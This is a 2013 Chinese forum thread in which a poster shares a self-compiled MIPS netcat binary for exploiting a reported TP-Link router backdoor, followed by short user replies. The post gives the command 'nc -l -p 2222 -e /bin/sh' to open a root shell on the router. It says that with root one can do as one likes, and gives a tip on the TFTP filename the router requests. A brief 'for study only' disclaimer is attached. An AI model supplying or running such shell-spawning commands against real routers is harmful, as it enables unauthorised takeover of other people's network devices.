[分享] TP-Link 后门漏洞利用所需要的工具，自己编译的MIPS版的netcat

gho***

首先申明：这不是一篇教程，如果需要详细方法，请见漏洞描述的具体网址。或者自己google具体相关内容。
此篇只作工具分享，节省大家编译时间。

3月12号的时候，国外的网站爆了TP-Link的后门漏洞：

具体请见： http://sekurak.pl/tp-link-httptftp-backdoor/

目测 TP-Link 使用linux系统的路由应该全线崩溃，用vxworks系统的应该暂时不受影响。
此工具在我自己的WR841N V6上测试通过。

里面只说了用nc 去连接路由的 2222端口，但在那之前需要mips版的nc工具在路由上已经执行。用此工具拿到root权限，然后该干嘛干嘛。
PS：有时候路由请求的并非“nart.out” 文件名，具体请求哪个文件名，自己开着tftp32时多注意一下就看到了。

现分享自己编译的 MIPS big endian 版本的netcat

1. $ file nc
   
2. nc: ELF 32-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, with unknown capability 0x41000000 = 0xf676e75, wit
   
3. h unknown capability 0x10000 = 0x70403, stripped

复制代码

默认运行参数如下：

1. nc -l -p 2222 -e /bin/sh

复制代码

顺便也分享一下windows版本的netcat工具

游客，如果您要查看本帖隐藏内容请回复

gho***

忘了说了，大家不要随便搞破坏哦。

仅供学习验证之用。

633***

真的假的！太厉害了！！！

qz***

牛X

lin***

看看

zhumi***

看下,密码能更容易!

fengy***

好教程，学习下！

sha***

已刷成openwrt还有影响吗？

st***

了解一下什么情况

wa***

这有什么用呢喃  

禁止***

这个漏洞怎么利用啊。

jxx***

linux的tp可以轻松破解了？

gho***

shanboy 发表于 2013-3-19 10:25
已刷成openwrt还有影响吗？

刷成openwrt不受此漏洞影响。

yamq***

哈哈 。。该干嘛的干嘛

kko***

本帖内容必须隐藏？